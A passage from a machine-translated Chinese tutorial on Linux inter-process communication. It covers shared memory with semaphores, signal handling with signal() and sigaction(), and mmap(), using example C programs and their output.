   sleep(1);
   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }
   if (shmctl(shmid, IPC_RMID, 0) == -1) {
      perror("shmctl");
      return 1;
   }
   printf("Writing Process: Complete\n");
   remove_semaphore();
   return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
   int cntr;
   int numtimes;
   int sleep_time;
   int semid;
   struct sembuf sem_buf;
   struct semid_ds buf;
   int tries;
   int retval;
   semid = semget(SEM_KEY, 1, IPC_CREAT | IPC_EXCL | 0666);
   //printf("errno is %d and semid is %d\n", errno, semid);
   /* Got the semaphore */
   if (semid >= 0) {
      printf("First Process\n");
      sem_buf.sem_op = 1;
      sem_buf.sem_flg = 0;
      sem_buf.sem_num = 0;
      retval = semop(semid, &sem_buf, 1);
      if (retval == -1) {
         perror("Semaphore Operation: ");
         return;
      }
   } else if (errno == EEXIST) { // Already other process got it
      int ready = 0;
      printf("Second Process\n");
      semid = semget(SEM_KEY, 1, 0);
      if (semid < 0) {
         perror("Semaphore GET: ");
         return;
      }
      /* Waiting for the resource */
      sem_buf.sem_num = 0;
      sem_buf.sem_op = 0;
      sem_buf.sem_flg = SEM_UNDO;
      retval = semop(semid, &sem_buf, 1);
      if (retval == -1) {
         perror("Semaphore Locked: ");
         return;
      }
   }
   sem_buf.sem_num = 0;
   sem_buf.sem_op = -1; /* Allocating the resources */
   sem_buf.sem_flg = SEM_UNDO;
   retval = semop(semid, &sem_buf, 1);
   if (retval == -1) {
      perror("Semaphore Locked: ");
      return;
   }
   cntr = shmp->cntr;
   shmp->write_complete = 0;
   if (pid == 0)
   printf("SHM_WRITE: CHILD: Now writing\n");
   else if (pid > 0)
   printf("SHM_WRITE: PARENT: Now writing\n");
   //printf("SHM_CNTR is %d\n", shmp->cntr);
   /* Increment the counter in shared memory by total_count in steps of 1 */
   for (numtimes = 0; numtimes < total_count; numtimes++) {
      cntr += 1;
      shmp->cntr = cntr;
      /* Sleeping for a second for every thousand */
      sleep_time = cntr % 1000;
      if (sleep_time == 0)
      sleep(1);
   }
   shmp->write_complete = 1;
   sem_buf.sem_op = 1; /* Releasing the resource */
   retval = semop(semid, &sem_buf, 1);
   if (retval == -1) {
      perror("Semaphore Locked\n");
      return;
   }
   if (pid == 0)
      printf("SHM_WRITE: CHILD: Writing Done\n");
      else if (pid > 0)
      printf("SHM_WRITE: PARENT: Writing Done\n");
      return;
}
void remove_semaphore() {
   int semid;
   int retval;
   semid = semget(SEM_KEY, 1, 0);
      if (semid < 0) {
         perror("Remove Semaphore: Semaphore GET: ");
         return;
      }
   retval = semctl(semid, 0, IPC_RMID);
   if (retval == -1) {
      perror("Remove Semaphore: Semaphore CTL: ");
      return;
   }
   return;
}

编译和执行步骤 (Compilation and Execution Steps)

Total Count is 10000
First Process
SHM_WRITE: PARENT: Now writing
Second Process
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Now writing
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete

现在,我们将通过阅读过程检查计数器值。

执行步骤 (Execution Steps)

Reading Process: Shared Memory: Counter is 20000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete

Inter Process Communication - Signals

signal是指示发生事件的过程的通知。 信号也称为software interrupt ,无法预测它的发生,因此它也称为asynchronous event

信号可以用数字或名称指定,通常信号名称以SIG开头。 可以使用命令kill -l(列表信号名称为l)检查可用信号,如下所示 -

信号

无论何时发出信号(以编程方式或系统生成的信号),都会执行默认操作。 如果您不想执行默认操作但希望在接收信号时执行自己的操作,该怎么办? 这对所有信号都有可能吗? 是的,可以处理信号,但不能处理所有信号。 如果你想忽略信号怎么办?这可能吗? 是的,可以忽略信号。 忽略信号意味着既不执行默认操作也不处理信号。 可以忽略或处理几乎所有信号。 无法忽略或处理/捕获的信号是SIGSTOP和SIGKILL。

总之,对信号执行的操作如下 -

  • 默认操作
  • 处理信号
  • 忽略信号

如上所述,可以处理信号来改变默认动作的执行。 信号处理可以通过两种方式中的任何一种来完成,即通过系统调用,signal()和sigaction()。

#include <signal.h>
typedef void (*sighandler_t) (int);
sighandler_t signal(int signum, sighandler_t handler);

系统调用signal()将在生成信号时调用注册的处理程序,如signum中所述。 处理程序可以是SIG_IGN(忽略信号),SIG_DFL(设置信号返回默认机制)或用户定义的信号处理程序或函数地址之一。

此系统调用成功返回带有整数参数且没有返回值的函数的地址。 如果发生错误,此调用将返回SIG_ERR。

尽管使用signal()可以调用由用户注册的相应信号处理程序,但是诸如屏蔽应该被阻止的信号,修改信号的行为以及其他功能的微调是不可能的。 这可以使用sigaction()系统调用。

#include <signal.h>
int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact)

该系统调用用于检查或改变信号动作。 如果该行为不为null,则从该行为安装信号signum的新操作。 如果oldact不为null,则先前的操作将保存在oldact中。

sigaction结构包含以下字段 -

Field 1 - 在sa_handler或sa_sigaction中提到的处理程序。

void (*sa_handler)(int);
void (*sa_sigaction)(int, siginfo_t *, void *);

sa_handler的处理程序指定要根据signum执行的操作,并使用指示默认操作的SIG_DFL或SIG_IGN来忽略信号处理函数的信号或指针。

sa_sigaction的处理程序将信号编号指定为第一个参数,指向siginfo_t结构的指针作为第二个参数,指向用户上下文的指针(检查getcontext()或setcontext()以获取更多详细信息)作为第三个参数。

结构siginfo_t包含信号信息,例如要传递的信号编号,信号值,进程ID,发送进程的真实用户ID等。

Field 2 - 要阻止的信号集。

int sa_mask;

此变量指定在执行信号处理程序期间应阻止的信号掩码。

Field 3 - 特殊标志。

int sa_flags;

该字段指定一组标志,用于修改信号的行为。

Field 4 - 恢复处理程序。

void (*sa_restorer) (void);

此系统调用在成功时返回0,在失败时返回-1。

让我们考虑一些示例程序。

首先,让我们从一个生成异常的示例程序开始。 在这个程序中,我们试图执行除零操作,这使得系统生成异常。

/* signal_fpe.c */
#include<stdio.h>
int main() {
   int result;
   int v1, v2;
   v1 = 121;
   v2 = 0;
   result = v1/v2;
   printf("Result of Divide by Zero is %d\n", result);
   return 0;
}

编译和执行步骤 (Compilation and Execution Steps)

Floating point exception (core dumped)

因此,当我们尝试执行算术运算时,系统已生成带有核心转储的浮点异常,这是信号的默认操作。

现在,让我们使用signal()系统调用修改代码来处理这个特定的信号。

/* signal_fpe_handler.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_dividebyzero(int signum);
int main() {
   int result;
   int v1, v2;
   void (*sigHandlerReturn)(int);
   sigHandlerReturn = signal(SIGFPE, handler_dividebyzero);
   if (sigHandlerReturn == SIG_ERR) {
      perror("Signal Error: ");
      return 1;
   }
   v1 = 121;
   v2 = 0;
   result = v1/v2;
   printf("Result of Divide by Zero is %d\n", result);
   return 0;
}
void handler_dividebyzero(int signum) {
   if (signum == SIGFPE) {
      printf("Received SIGFPE, Divide by Zero Exception\n");
      exit (0);
   } 
   else
      printf("Received %d Signal\n", signum);
      return;
}

编译和执行步骤 (Compilation and Execution Steps)

Received SIGFPE, Divide by Zero Exception

如所讨论的,信号由系统生成(在执行诸如除零等特定操作时)或者用户也可以以编程方式生成信号。 如果要以编程方式生成信号,请使用库函数raise()。

现在,让我们采取另一个程序来演示处理和忽略信号。

假设我们使用raise()引发了一个信号,那么会发生什么? 在发出信号之后,停止执行当前过程。 然后停止的过程会发生什么? 可以有两种情况 - 首先,在需要时继续执行。 其次,终止(使用kill命令)进程。

要继续执行已停止的进程,请将SIGCONT发送到该特定进程。 您还可以发出fg(foreground)或bg(background)命令以继续执行。 这里,命令只会重新开始执行最后一个进程。 如果停止多个进程,则仅恢复最后一个进程。 如果要恢复先前停止的进程,则恢复作业(使用fg/bg)以及作业号。

以下程序用于使用raise()函数引发信号SIGSTOP。 用户按下CTRL + Z(Control + Z)键也可以生成信号SIGSTOP。 发出此信号后,程序将停止执行。 发送信号(SIGCONT)以继续执行。

在以下示例中,我们使用命令fg恢复已停止的进程。

/* signal_raising.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
int main() {
   printf("Testing SIGSTOP\n");
   raise(SIGSTOP);
   return 0;
}

编译和执行步骤 (Compilation and Execution Steps)

Testing SIGSTOP
[1]+ Stopped ./a.out
./a.out

现在,通过从另一个终端发出SIGCONT来增强以前的程序以继续执行已停止的进程。

/* signal_stop_continue.c */
#include<stdio.h>
#include<signal.h>
#include <sys/types.h>
#include <unistd.h>
void handler_sigtstp(int signum);
int main() {
   pid_t pid;
   printf("Testing SIGSTOP\n");
   pid = getpid();
   printf("Open Another Terminal and issue following command\n");
   printf("kill -SIGCONT %d or kill -CONT %d or kill -18 %d\n", pid, pid, pid);
   raise(SIGSTOP);
   printf("Received signal SIGCONT\n");
   return 0;
}

编译和执行步骤 (Compilation and Execution Steps)

Testing SIGSTOP
Open Another Terminal and issue following command
kill -SIGCONT 30379 or kill -CONT 30379 or kill -18 30379
[1]+ Stopped ./a.out
Received signal SIGCONT
[1]+ Done ./a.out

在另一个终端

kill -SIGCONT 30379

到目前为止,我们已经看到了处理系统生成的信号的程序。 现在,让我们看一下通过程序生成的信号(使用raise()函数或通过kill命令)。 该程序生成信号SIGTSTP(终端停止),其默认操作是停止执行。 但是,由于我们现在正在处理信号而不是默认操作,因此它将进入已定义的处理程序。 在这种情况下,我们只是打印消息并退出。

/* signal_raising_handling.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
   void (*sigHandlerReturn)(int);
   sigHandlerReturn = signal(SIGTSTP, handler_sigtstp);
   if (sigHandlerReturn == SIG_ERR) {
      perror("Signal Error: ");
      return 1;
   }
   printf("Testing SIGTSTP\n");
   raise(SIGTSTP);
   return 0;
}
void handler_sigtstp(int signum) {
   if (signum == SIGTSTP) {
      printf("Received SIGTSTP\n");
      exit(0);
   }
   else
      printf("Received %d Signal\n", signum);
      return;
}

编译和执行步骤 (Compilation and Execution Steps)

Testing SIGTSTP
Received SIGTSTP

我们已经看到了执行默认操作或处理信号的实例。 现在,是时候忽略这个信号了。 这里,在这个示例程序中,我们通过SIG_IGN注册信号SIGTSTP以忽略,然后我们正在提升信号SIGTSTP(终止站)。 当生成信号SIGTSTP时将被忽略。

/* signal_raising_ignoring.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
   void (*sigHandlerReturn)(int);
   sigHandlerReturn = signal(SIGTSTP, SIG_IGN);
   if (sigHandlerReturn == SIG_ERR) {
      perror("Signal Error: ");
      return 1;
   }
   printf("Testing SIGTSTP\n");
   raise(SIGTSTP);
   printf("Signal SIGTSTP is ignored\n");
   return 0;
}

编译和执行步骤 (Compilation and Execution Steps)

Testing SIGTSTP
Signal SIGTSTP is ignored

到目前为止,我们已经观察到我们有一个信号处理程序来处理一个信号。 我们可以有一个处理器来处理多个信号吗? 答案是肯定的。 让我们用一个程序来考虑这一点。

以下程序执行以下操作 -

Step 1 - 注册处理程序(handleSignals)以捕获或处理信号SIGINT(CTRL + C)或SIGQUIT(CTRL + \)

Step 2 - 如果用户生成信号SIGQUIT(通过kill命令或带CTRL +的键盘控制),处理程序只是将消息打印为return。

Step 3 - 如果用户第一次生成信号SIGINT(通过kill命令或使用CTRL + C的键盘控制),则它会修改信号以从下次执行默认操作(使用SIG_DFL)。

Step 4 - 如果用户第二次生成信号SIGINT,它将执行默认操作,即程序终止。

/* Filename: sigHandler.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
   void (*sigHandlerInterrupt)(int);
   void (*sigHandlerQuit)(int);
   void (*sigHandlerReturn)(int);
   sigHandlerInterrupt = sigHandlerQuit = handleSignals;
   sigHandlerReturn = signal(SIGINT, sigHandlerInterrupt);
   if (sigHandlerReturn == SIG_ERR) {
      perror("signal error: ");
      return 1;
   }
   sigHandlerReturn = signal(SIGQUIT, sigHandlerQuit);
   if (sigHandlerReturn == SIG_ERR) {
      perror("signal error: ");
      return 1;
   }
   while (1) {
      printf("\nTo terminate this program, perform the following: \n");
      printf("1. Open another terminal\n");
      printf("2. Issue command: kill %d or issue CTRL+C 2 times (second time it terminates)\n", getpid());
      sleep(10);
   }
   return 0;
}
void handleSignals(int signum) {
   switch(signum) {
      case SIGINT:
      printf("\nYou pressed CTRL+C \n");
      printf("Now reverting SIGINT signal to default action\n");
      signal(SIGINT, SIG_DFL);
      break;
      case SIGQUIT:
      printf("\nYou pressed CTRL+\\ \n");
      break;
      default:
      printf("\nReceived signal number %d\n", signum);
      break;
   }
   return;
}

编译和执行步骤 (Compilation and Execution Steps)

To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^\You pressed CTRL+\
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 120
Terminated

另一个终端

kill 71

第二种方法

To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C

我们知道要处理信号,我们有两个系统调用,即signal()或sigaction()。 到目前为止我们已经看到了signal()系统调用,现在是sigaction()系统调用的时候了。 让我们修改上面的程序,使用sigaction()执行如下 -

/* Filename: sigHandlerSigAction.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
   void (*sigHandlerReturn)(int);
   struct sigaction mysigaction;
   mysigaction.sa_handler = handleSignals;
   sigemptyset(&mysigaction.sa_mask);
   mysigaction.sa_flags = 0;
   sigaction(SIGINT, &mysigaction, NULL);
   if (mysigaction.sa_handler == SIG_ERR) {
      perror("signal error: ");
      return 1;
   }
   mysigaction.sa_handler = handleSignals;
   sigemptyset(&mysigaction.sa_mask);
   mysigaction.sa_flags = 0;
   sigaction(SIGQUIT, &mysigaction, NULL);
   if (mysigaction.sa_handler == SIG_ERR) {
      perror("signal error: ");
      return 1;
   }
   while (-1) {
      printf("\nTo terminate this program, perform either of the following: \n");
      printf("1. Open another terminal and issue command: kill %d\n", getpid());
      printf("2. Issue CTRL+C 2 times (second time it terminates)\n");
      sleep(10);
   }
   return 0;
}
void handleSignals(int signum) {
   switch(signum) {
      case SIGINT:
      printf("\nYou have entered CTRL+C \n");
      printf("Now reverting SIGINT signal to perform default action\n");
      signal(SIGINT, SIG_DFL);
      break;
      case SIGQUIT:
      printf("\nYou have entered CTRL+\\ \n");
      break;
      default:
      printf("\nReceived signal number %d\n", signum);
      break;
   }
   return;
}

让我们看看编译和执行过程。 在执行过程中,让我们看两次问题CTRL + C,剩下的检查/方式(如上所述)你也可以尝试这个程序。

编译和执行步骤 (Compilation and Execution Steps)

To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
You have entered CTRL+C
Now reverting SIGINT signal to perform default action
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C

Memory Mapping

mmap()系统调用在调用进程的虚拟地址空间中提供映射,该映射将文件或设备映射到内存中。 这有两种类型 -

File mapping or File-backed mapping - 此映射将进程的虚拟内存区域映射到文件。 这意味着读取或写入这些内存区域会导致文件被读取或写入。 这是默认的映射类型。

Anonymous mapping - 此映射映射进程的虚拟内存区域,不受任何文件的支持。 内容初始化为零。 此映射类似于动态内存分配(malloc()),并在某些malloc()实现中用于某些分配。

一个进程映射中的存储器可以与其他进程中的映射共享。 这可以通过两种方式完成 -

  • 当两个进程映射文件的同一区域时,它们共享相同的物理内存页面。

  • 如果创建了子进程,它将继承父进程的映射,并且这些映射指的是与父进程相同的物理内存页。 在子进程中的任何数据更改时,将为子进程创建不同的页面。

当两个或多个进程共享相同的页面时,每个进程可以根据映射类型查看其他进程所做的页面内容的更改。 映射类型可以是私有的也可以是共享的 -

Private Mapping (MAP_PRIVATE) - 对此映射内容的修改对其他进程不可见,并且映射不会传送到基础文件。

Shared Mapping (MAP_SHARED) - 对此映射内容的修改对其他进程可见,并且映射将传送到基础文件。

#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

上面的系统调用在成功时返回映射的起始地址,或者在出错时返回MAP_FAILED。

虚拟地址addr可以是用户指定的,也可以是内核生成的(将addr作为NULL传递)。 指示的字段长度需要以字节为单位的映射大小。 字段prot表示存储器保护值,例如PROT_NONE,PROT_READ,PROT_WRITE,PROT_EXEC,分别用于可能无法访问,读取,写入或执行的区域。 该值可以是单个(PROT_NONE),也可以与三个标志中的任何一个(最后3个)进行OR运算。 字段标志指示映射类型或MAP_PRIVATE或MAP_SHARED。 字段“fd”表示标识要映射的文件的文件描述符,字段“offset”表示文件的起始点,如果需要映射整个文件,则偏移量应为零。

#include <sys/mman.h>
int munmap(void *addr, size_t length);

上面的系统调用在成功时返回0或在出错时返回-1。

系统调用munmap,执行已映射内存映射区域的取消映射。 字段addr表示映射的起始地址,长度表示要取消映射的映射的字节大小。 通常,映射和取消映射将用于整个映射区域。 如果必须有所不同,则应将其缩小或分成两部分。 如果addr没有任何映射,则此调用无效,并且调用返回0(成功)。

让我们考虑一个例子 -

Step 1 - 写入文件Alpha数字字符,如下所示 -

0 1 2 25 26 27 28 29 30 31 32 33 34 35 36 37 38 59 60 61
A B C Z 0 1 2 3 4 5 6 7 8 9 A b c x y z

Step 2 - 使用mmap()系统调用将文件内容映射到内存中。 这将在映射到内存后返回起始地址。

Step 3 - 使用数组表示法访问文件内容(也可以使用指针表示法访问),因为没有读取昂贵的read()系统调用。 使用内存映射,避免在用户空间,内核空间缓冲区和缓冲区缓存之间进行多次复制。

Step 4 - 重复读取文件内容,直到用户输入“-1”(表示访问结束)。

Step 5 - 执行清理活动,即取消映射映射的内存区域(munmap()),关闭文件并删除文件。

/* Filename: mmap_test.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
void write_mmap_sample_data();
int main() {
   struct stat mmapstat;
   char *data;
   int minbyteindex;
   int maxbyteindex;
   int offset;
   int fd;
   int unmapstatus;
   write_mmap_sample_data();
   if (stat("MMAP_DATA.txt", &mmapstat) == -1) {
      perror("stat failure");
      return 1;
   }
   if ((fd = open("MMAP_DATA.txt", O_RDONLY)) == -1) {
      perror("open failure");
      return 1;
   }
   data = mmap((caddr_t)0, mmapstat.st_size, PROT_READ, MAP_SHARED, fd, 0);
   if (data == (caddr_t)(-1)) {
      perror("mmap failure");
      return 1;
   }
   minbyteindex = 0;
   maxbyteindex = mmapstat.st_size - 1;
   do {
      printf("Enter -1 to quit or ");
      printf("enter a number between %d and %d: ", minbyteindex, maxbyteindex);
      scanf("%d",&offset);
      if ( (offset >= 0) && (offset <= maxbyteindex) )
      printf("Received char at %d is %c\n", offset, data[offset]);
      else if (offset != -1)
      printf("Received invalid index %d\n", offset);
   } while (offset != -1);
   unmapstatus = munmap(data, mmapstat.st_size);
   if (unmapstatus == -1) {
      perror("munmap failure");
      return 1;
   }
   close(fd);
   system("rm -f MMAP_DATA.txt");
   return 0;
}
void write_mmap_sample_data() {
   int fd;
   char ch;
   struct stat textfilestat;
   fd = open("MMAP_DATA.txt", O_CREAT|O_TRUNC|O_WRONLY, 0666);
   if (fd == -1) {
      perror("File open error ");
      return;
   }
   // Write A to Z
   ch = 'A';
   while (ch <= 'Z') {
      write(fd, &ch, sizeof(ch));
      ch++;
   }
   // Write 0 to 9
   ch = '0';
   while (ch <= '9') {
      write(fd, &ch, sizeof(ch));
      ch++;
   }
   // Write a to z
   ch = 'a';
   while (ch <= 'z') {
      write(fd, &ch, sizeof(ch));
      ch++;
   }
   close(fd);
   return;
}

输出 (Output)

Enter -1 to quit or enter a number between 0 and 61: 3 
Received char at 3 is D 
Enter -1 to quit or enter a number between 0 and 61: 28
Received char at 28 is 2 
Enter -1 to quit or enter a number between 0 and 61: 38 
Received char at 38 is c 
Enter -1 to quit or enter a number between 0 and 61: 59 
Received char at 59 is x 
Enter -1 to quit or enter a number between 0 and 61: 65 
Received invalid index 65 
Enter -1 to quit or enter a number between 0 and 61: -99 
Received invalid index -99 
Enter -1 to quit or enter a number between 0 and 61: -1
<上一篇.Memory Mapping
有用的资源.下一篇>
↑回到顶部↑
WIKI教程 @2018